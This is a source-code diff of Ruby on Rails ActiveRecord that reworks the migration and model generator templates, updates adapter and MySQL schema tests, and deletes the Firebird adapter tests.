diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index 0c35adc11d..cf76a13b44 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,10 +1,8 @@
-module ActiveRecord
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module ActiveRecord
+ # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
end
end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index c8aa37f275..dc29213235 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,23 +1,17 @@
require 'rails/generators/named_base'
-require 'rails/generators/migration'
require 'rails/generators/active_model'
+require 'rails/generators/active_record/migration'
require 'active_record'
module ActiveRecord
module Generators # :nodoc:
class Base < Rails::Generators::NamedBase # :nodoc:
- include Rails::Generators::Migration
+ include ActiveRecord::Generators::Migration
# Set the current directory as base for the inherited generators.
def self.base_root
File.dirname(__FILE__)
end
-
- # Implement the required interface for Rails::Generators::Migration.
- def self.next_migration_number(dirname)
- next_migration_number = current_migration_number(dirname) + 1
- ActiveRecord::Migration.next_migration_number(next_migration_number)
- end
end
end
end
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
new file mode 100644
index 0000000000..b7418cf42f
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -0,0 +1,18 @@
+require 'rails/generators/migration'
+
+module ActiveRecord
+ module Generators # :nodoc:
+ module Migration
+ extend ActiveSupport::Concern
+ include Rails::Generators::Migration
+
+ module ClassMethods
+ # Implement the required interface for Rails::Generators::Migration.
+ def next_migration_number(dirname)
+ next_migration_number = current_migration_number(dirname) + 1
+ ActiveRecord::Migration.next_migration_number(next_migration_number)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index 5f1dbe36d6..7a3c6f5e95 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -8,24 +8,32 @@ module ActiveRecord
def create_migration_file
set_local_assigns!
validate_file_name!
- migration_template "migration.rb", "db/migrate/#{file_name}.rb"
+ migration_template @migration_template, "db/migrate/#{file_name}.rb"
end
protected
attr_reader :migration_action, :join_tables
+ # sets the default migration template that is being used for the generation of the migration
+ # depending on the arguments which would be sent out in the command line, the migration template
+ # and the table name instance variables are setup.
+
def set_local_assigns!
+ @migration_template = "migration.rb"
case file_name
when /^(add|remove)_.*_(?:to|from)_(.*)/
@migration_action = $1
- @table_name = $2.pluralize
+ @table_name = normalize_table_name($2)
when /join_table/
if attributes.length == 2
@migration_action = 'join'
- @join_tables = attributes.map(&:plural_name)
+ @join_tables = pluralize_table_names? ? attributes.map(&:plural_name) : attributes.map(&:singular_name)
set_index_names
end
+ when /^create_(.+)/
+ @table_name = normalize_table_name($1)
+ @migration_template = "create_table_migration.rb"
end
end
@@ -44,12 +52,19 @@ module ActiveRecord
end
private
+ def attributes_with_index
+ attributes.select { |a| !a.reference? && a.has_index? }
+ end
def validate_file_name!
unless file_name =~ /^[_a-z0-9]+$/
raise IllegalMigrationNameError.new(file_name)
end
end
+
+ def normalize_table_name(_table_name)
+ pluralize_table_names? ? _table_name.pluralize : _table_name.singularize
+ end
end
end
end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
new file mode 100644
index 0000000000..fb0fbb4759
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
@@ -0,0 +1,22 @@
+class <%= migration_class_name %> < ActiveRecord::Migration
+ def change
+ create_table :<%= table_name %> do |t|
+<% attributes.each do |attribute| -%>
+<% if attribute.password_digest? -%>
+ t.string :password_digest<%= attribute.inject_options %>
+<% else -%>
+ t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
+<% end -%>
+<% end -%>
+<% if options[:timestamps] %>
+ t.timestamps null: false
+<% end -%>
+ end
+<% attributes_with_index.each do |attribute| -%>
+ add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+<% end -%>
+<% attributes.select(&:reference?).reject(&:polymorphic?).each do |attribute| -%>
+ add_foreign_key :<%= table_name %>, :<%= attribute.name.pluralize %>
+<% end -%>
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
index d5c07aecd3..7df9bcad25 100644
--- a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
@@ -4,6 +4,9 @@ class <%= migration_class_name %> < ActiveRecord::Migration
<% attributes.each do |attribute| -%>
<%- if attribute.reference? -%>
add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+ <%- unless attribute.polymorphic? -%>
+ add_foreign_key :<%= table_name %>, :<%= attribute.name.pluralize %>
+ <%- end -%>
<%- else -%>
add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
<%- if attribute.has_index? -%>
@@ -21,28 +24,19 @@ class <%= migration_class_name %> < ActiveRecord::Migration
end
end
<%- else -%>
- def up
+ def change
<% attributes.each do |attribute| -%>
<%- if migration_action -%>
<%- if attribute.reference? -%>
- remove_reference :<%= table_name %>, :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
- <%- else -%>
- remove_column :<%= table_name %>, :<%= attribute.name %>
- <%- end -%>
-<%- end -%>
-<%- end -%>
- end
-
- def down
-<% attributes.reverse.each do |attribute| -%>
-<%- if migration_action -%>
- <%- if attribute.reference? -%>
- add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+ remove_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+ <%- unless attribute.polymorphic? -%>
+ remove_foreign_key :<%= table_name %>, :<%= attribute.name.pluralize %>
+ <%- end -%>
<%- else -%>
- add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
<%- if attribute.has_index? -%>
- add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+ remove_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
<%- end -%>
+ remove_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
<%- end -%>
<%- end -%>
<%- end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
index 5f36181694..7e8d68ce69 100644
--- a/activerecord/lib/rails/generators/active_record/model/model_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -12,10 +12,13 @@ module ActiveRecord
class_option :parent, :type => :string, :desc => "The parent class for the generated model"
class_option :indexes, :type => :boolean, :default => true, :desc => "Add indexes for references and belongs_to columns"
+
+ # creates the migration file for the model.
+
def create_migration_file
return unless options[:migration] && options[:parent].nil?
attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
- migration_template "migration.rb", "db/migrate/create_#{table_name}.rb"
+ migration_template "../../migration/templates/create_table_migration.rb", "db/migrate/create_#{table_name}.rb"
end
def create_model_file
@@ -39,6 +42,7 @@ module ActiveRecord
protected
+ # Used by the migration template to determine the parent name of the model
def parent_class_name
options[:parent] || "ActiveRecord::Base"
end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb b/activerecord/lib/rails/generators/active_record/model/templates/migration.rb
deleted file mode 100644
index 3a3cf86d73..0000000000
--- a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-class <%= migration_class_name %> < ActiveRecord::Migration
- def change
- create_table :<%= table_name %> do |t|
-<% attributes.each do |attribute| -%>
- t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
-<% end -%>
-<% if options[:timestamps] %>
- t.timestamps
-<% end -%>
- end
-<% attributes_with_index.each do |attribute| -%>
- add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
-<% end -%>
- end
-end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
index 056f55470c..539d969fce 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/model.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -1,7 +1,10 @@
<% module_namespacing do -%>
class <%= class_name %> < <%= parent_class_name.classify %>
-<% attributes.select {|attr| attr.reference? }.each do |attribute| -%>
- belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
+<% attributes.select(&:reference?).each do |attribute| -%>
+ belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %><%= ', required: true' if attribute.required? %>
+<% end -%>
+<% if attributes.any?(&:password_digest?) -%>
+ has_secure_password
<% end -%>
end
<% end -%>
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
index 59324c4857..64cde143a1 100644
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -29,6 +29,7 @@ module ActiveRecord
@columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
name.to_s,
options[:default],
+ lookup_cast_type(sql_type.to_s),
sql_type.to_s,
options[:null])
end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 404b492288..6f84bae432 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,4 +1,7 @@
require "cases/helper"
+require "models/book"
+require "models/post"
+require "models/author"
module ActiveRecord
class AdapterTest < ActiveRecord::TestCase
@@ -6,6 +9,19 @@ module ActiveRecord
@connection = ActiveRecord::Base.connection
end
+ ##
+ # PostgreSQL does not support null bytes in strings
+ unless current_adapter?(:PostgreSQLAdapter)
+ def test_update_prepared_statement
+ b = Book.create(name: "my \x00 book")
+ b.reload
+ assert_equal "my \x00 book", b.name
+ b.update_attributes(name: "my other \x00 book")
+ b.reload
+ assert_equal "my other \x00 book", b.name
+ end
+ end
+
def test_tables
tables = @connection.tables
assert tables.include?("accounts")
@@ -30,9 +46,7 @@ module ActiveRecord
@connection.add_index :accounts, :firm_id, :name => idx_name
indexes = @connection.indexes("accounts")
assert_equal "accounts", indexes.first.table
- # OpenBase does not have the concept of a named index
- # Indexes are merely properties of columns.
- assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+ assert_equal idx_name, indexes.first.name
assert !indexes.first.unique
assert_equal ["firm_id"], indexes.first.columns
else
@@ -78,7 +92,7 @@ module ActiveRecord
)
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
@@ -100,7 +114,7 @@ module ActiveRecord
end
end
- # test resetting sequences in odd tables in postgreSQL
+ # test resetting sequences in odd tables in PostgreSQL
if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
require 'models/movie'
require 'models/subscriber'
@@ -111,14 +125,12 @@ module ActiveRecord
assert_equal 1, Movie.create(:name => 'fight club').id
end
- if ActiveRecord::Base.connection.adapter_name != "FrontBase"
- def test_reset_table_with_non_integer_pk
- Subscriber.delete_all
- Subscriber.connection.reset_pk_sequence! 'subscribers'
- sub = Subscriber.new(:name => 'robert drake')
- sub.id = 'bob drake'
- assert_nothing_raised { sub.save! }
- end
+ def test_reset_table_with_non_integer_pk
+ Subscriber.delete_all
+ Subscriber.connection.reset_pk_sequence! 'subscribers'
+ sub = Subscriber.new(:name => 'robert drake')
+ sub.id = 'bob drake'
+ assert_nothing_raised { sub.save! }
end
end
@@ -129,8 +141,8 @@ module ActiveRecord
end
end
- def test_foreign_key_violations_are_translated_to_specific_exception
- unless @connection.adapter_name == 'SQLite'
+ unless current_adapter?(:SQLite3Adapter)
+ def test_foreign_key_violations_are_translated_to_specific_exception
assert_raises(ActiveRecord::InvalidForeignKey) do
# Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
if @connection.prefetch_primary_key?
@@ -141,6 +153,18 @@ module ActiveRecord
end
end
end
+
+ def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false
+ klass_has_fk = Class.new(ActiveRecord::Base) do
+ self.table_name = 'fk_test_has_fk'
+ end
+
+ assert_raises(ActiveRecord::InvalidForeignKey) do
+ has_fk = klass_has_fk.new
+ has_fk.fk_id = 1231231231
+ has_fk.save(validate: false)
+ end
+ end
end
def test_disable_referential_integrity
@@ -153,43 +177,73 @@ module ActiveRecord
else
@connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
end
- # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block
+ # should delete created record as otherwise disable_referential_integrity will try to enable constraints after executed block
# and will fail (at least on Oracle)
@connection.execute "DELETE FROM fk_test_has_fk"
end
end
end
+
+ def test_select_all_always_return_activerecord_result
+ result = @connection.select_all "SELECT * FROM posts"
+ assert result.is_a?(ActiveRecord::Result)
+ end
+
+ def test_select_methods_passing_a_association_relation
+ author = Author.create!(name: 'john')
+ Post.create!(author: author, title: 'foo', body: 'bar')
+ query = author.posts.where(title: 'foo').select(:title)
+ assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+ assert_equal({"title" => "foo"}, @connection.select_one(query))
+ assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+ assert_equal "foo", @connection.select_value(query)
+ assert_equal ["foo"], @connection.select_values(query)
+ end
+
+ def test_select_methods_passing_a_relation
+ Post.create!(title: 'foo', body: 'bar')
+ query = Post.where(title: 'foo').select(:title)
+ assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+ assert_equal({"title" => "foo"}, @connection.select_one(query))
+ assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+ assert_equal "foo", @connection.select_value(query)
+ assert_equal ["foo"], @connection.select_values(query)
+ end
+
+ test "type_to_sql returns a String for unmapped types" do
+ assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+ end
end
class AdapterTestWithoutTransaction < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- def setup
- @klass = Class.new(ActiveRecord::Base)
- @klass.establish_connection 'arunit'
- @connection = @klass.connection
+ class Klass < ActiveRecord::Base
end
- def teardown
- @klass.remove_connection
+ def setup
+ Klass.establish_connection :arunit
+ @connection = Klass.connection
end
- test "transaction state is reset after a reconnect" do
- skip "in-memory db doesn't allow reconnect" if in_memory_db?
-
- @connection.begin_transaction
- assert @connection.transaction_open?
- @connection.reconnect!
- assert !@connection.transaction_open?
+ teardown do
+ Klass.remove_connection
end
- test "transaction state is reset after a disconnect" do
- skip "in-memory db doesn't allow disconnect" if in_memory_db?
+ unless in_memory_db?
+ test "transaction state is reset after a reconnect" do
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.reconnect!
+ assert !@connection.transaction_open?
+ end
- @connection.begin_transaction
- assert @connection.transaction_open?
- @connection.disconnect!
- assert !@connection.transaction_open?
+ test "transaction state is reset after a disconnect" do
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.disconnect!
+ assert !@connection.transaction_open?
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/firebird/connection_test.rb b/activerecord/test/cases/adapters/firebird/connection_test.rb
deleted file mode 100644
index f57ea686a5..0000000000
--- a/activerecord/test/cases/adapters/firebird/connection_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-
-class FirebirdConnectionTest < ActiveRecord::TestCase
- def test_charset_properly_set
- fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
- assert_equal 'UTF8', fb_conn.database.character_set
- end
-end
diff --git a/activerecord/test/cases/adapters/firebird/default_test.rb b/activerecord/test/cases/adapters/firebird/default_test.rb
deleted file mode 100644
index 713c7e11bf..0000000000
--- a/activerecord/test/cases/adapters/firebird/default_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/default'
-
-class DefaultTest < ActiveRecord::TestCase
- def test_default_timestamp
- default = Default.new
- assert_instance_of(Time, default.default_timestamp)
- assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
-
- # Variance should be small; increase if required -- e.g., if test db is on
- # remote host and clocks aren't synchronized.
- t1 = Time.new
- accepted_variance = 1.0
- assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
- end
-end
diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb
deleted file mode 100644
index 5c94593765..0000000000
--- a/activerecord/test/cases/adapters/firebird/migration_test.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "cases/helper"
-require 'models/course'
-
-class FirebirdMigrationTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
-
- def setup
- # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
- @connection = Course.connection
- @fireruby_connection = @connection.instance_variable_get(:@connection)
- end
-
- def teardown
- @connection.drop_table :foo rescue nil
- @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
- end
-
- def test_create_table_with_custom_sequence_name
- assert_nothing_raised do
- @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert sequence_exists?('foo_custom_seq')
-
- assert_nothing_raised { @connection.drop_table(:foo) }
- assert !sequence_exists?('foo_custom_seq')
- ensure
- FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
- end
-
- def test_create_table_without_sequence
- assert_nothing_raised do
- @connection.create_table(:foo, :sequence => false) do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert_nothing_raised { @connection.drop_table :foo }
-
- assert_nothing_raised do
- @connection.create_table(:foo, :id => false) do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert_nothing_raised { @connection.drop_table :foo }
- end
-
- def test_create_table_with_boolean_column
- assert !boolean_domain_exists?
- assert_nothing_raised do
- @connection.create_table :foo do |f|
- f.column :bar, :string
- f.column :baz, :boolean
- end
- end
- assert boolean_domain_exists?
- end
-
- def test_add_boolean_column
- assert !boolean_domain_exists?
- @connection.create_table :foo do |f|
- f.column :bar, :string
- end
-
- assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
- assert boolean_domain_exists?
- assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
- end
-
- def test_change_column_to_boolean
- assert !boolean_domain_exists?
- # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
- @connection.execute "CREATE TABLE foo (bar SMALLINT)"
- assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-
- assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
- assert boolean_domain_exists?
- assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
- end
-
- def test_rename_table_with_data_and_index
- @connection.create_table :foo do |f|
- f.column :baz, :string, :limit => 50
- end
- 100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
- @connection.add_index :foo, :baz
-
- assert_nothing_raised { @connection.rename_table :foo, :bar }
- assert !@connection.tables.include?("foo")
- assert @connection.tables.include?("bar")
- assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
- assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
- assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
- ensure
- @connection.drop_table :bar rescue nil
- end
-
- def test_renaming_table_with_fk_constraint_raises_error
- @connection.create_table :parent do |p|
- p.column :name, :string
- end
- @connection.create_table :child do |c|
- c.column :parent_id, :integer
- end
- @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
- assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
- ensure
- @connection.drop_table :child rescue nil
- @connection.drop_table :descendant rescue nil
- @connection.drop_table :parent rescue nil
- end
-
- private
- def boolean_domain_exists?
- !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
- end
-
- def sequence_exists?(sequence_name)
- FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
- end
-end
diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
index 94fc3564df..6577d56240 100644
--- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
@@ -1,48 +1,69 @@
require "cases/helper"
+require 'support/connection_helper'
class ActiveSchemaTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
def setup
- ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_without_stub, :execute
- remove_method :execute
def execute(sql, name = nil) return sql end
end
end
- def teardown
- ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
- remove_method :execute
- alias_method :execute, :execute_without_stub
- end
+ teardown do
+ reset_connection
end
def test_add_index
- # add_index calls index_name_exists? which can't work since execute is stubbed
- ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:define_method, :index_name_exists?) do |*|
- false
- end
- expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`)"
+ # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+ def (ActiveRecord::Base.connection).table_exists?(*); true; end
+ def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
+
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
assert_equal expected, add_index(:people, :last_name, :length => nil)
- expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10))"
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10)) "
assert_equal expected, add_index(:people, :last_name, :length => 10)
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15))"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15)) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15)
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`)"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15})
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10))"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10)) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10})
- ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:remove_method, :index_name_exists?)
+
+ %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+ expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :type => type)
+ end
+
+ %w(btree hash).each do |using|
+ expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :using => using)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10, :using => :btree)
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
+ assert_equal expected, add_index(:people, :last_name, :length => 10, using: :btree, algorithm: :copy)
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :coyp)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree)
end
def test_drop_table
assert_equal "DROP TABLE `people`", drop_table(:people)
end
- if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
def test_create_mysql_database_with_encoding
assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'})
@@ -70,9 +91,8 @@ class ActiveSchemaTest < ActiveRecord::TestCase
def test_add_timestamps
with_real_execute do
begin
- ActiveRecord::Base.connection.create_table :delete_me do |t|
- end
- ActiveRecord::Base.connection.add_timestamps :delete_me
+ ActiveRecord::Base.connection.create_table :delete_me
+ ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
assert column_present?('delete_me', 'updated_at', 'datetime')
assert column_present?('delete_me', 'created_at', 'datetime')
ensure
@@ -85,9 +105,9 @@ class ActiveSchemaTest < ActiveRecord::TestCase
with_real_execute do
begin
ActiveRecord::Base.connection.create_table :delete_me do |t|
- t.timestamps
+ t.timestamps null: true
end
- ActiveRecord::Base.connection.remove_timestamps :delete_me
+ ActiveRecord::Base.connection.remove_timestamps :delete_me, { null: true }
assert !column_present?('delete_me', 'updated_at', 'datetime')
assert !column_present?('delete_me', 'created_at', 'datetime')
ensure
@@ -96,24 +116,34 @@ class ActiveSchemaTest < ActiveRecord::TestCase
end
end
+ def test_indexes_in_create
+ ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+ ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+ expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+ actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+ t.index :zip
+ end
+
+ assert_equal expected, actual
+ end
+
private
def with_real_execute
- #we need to actually modify some data, so we make execute point to the original method
- ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_with_stub, :execute
remove_method :execute
alias_method :execute, :execute_without_stub
end
+
yield
ensure
- #before finishing, we restore the alias to the mock-up method
- ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
remove_method :execute
alias_method :execute, :execute_with_stub
end
end
-
def method_missing(method_symbol, *arguments)
ActiveRecord::Base.connection.send(method_symbol, *arguments)
end
diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
index 97adb6b297..340fc95503 100644
--- a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
class MysqlCaseSensitivityTest < ActiveRecord::TestCase
class CollationTest < ActiveRecord::Base
- validates_uniqueness_of :string_cs_column, :case_sensitive => false
- validates_uniqueness_of :string_ci_column, :case_sensitive => false
end
+ repair_validations(CollationTest)
+
def test_columns_include_collation_different_from_table
assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
CollationTest.create!(:string_ci_column => 'A')
invalid = CollationTest.new(:string_ci_column => 'a')
queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
CollationTest.create!(:string_cs_column => 'A')
invalid = CollationTest.new(:string_cs_column => 'a')
queries = assert_sql { invalid.save }
cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
assert_match(/lower/i, cs_uniqueness_query)
end
+
+ def test_case_sensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'A')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_match(/binary/i, ci_uniqueness_query)
+ end
+
+ def test_case_sensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'A')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_no_match(/binary/i, cs_uniqueness_query)
+ end
end
